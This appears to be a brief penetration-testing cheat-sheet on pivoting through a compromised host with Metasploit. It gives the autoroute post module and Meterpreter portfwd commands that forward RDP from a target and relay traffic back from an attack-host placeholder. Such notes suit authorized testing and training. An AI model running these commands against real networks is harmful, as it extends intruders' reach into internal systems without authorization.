Prerequisites
- A valid Meterpreter session in Metasploit (
msfconsole). - Routing configured within the framework (via
autoroute).
Autoroute Module
Select the autoroute module:
msf6 > use post/multi/manage/autoroute
Use this to automatically add routes for subnets reachable from the current session.
Port Forwarding
Local to Remote (e.g., RDP)
meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>
- Listens locally on port
3300. - Forwards traffic to port
3389(RDP) on<IPaddressofTarget>.
Reverse Direction
meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>
- Traffic coming to
<IPaddressofAttackHost>:8081is forwarded to port1234via the Meterpreter session.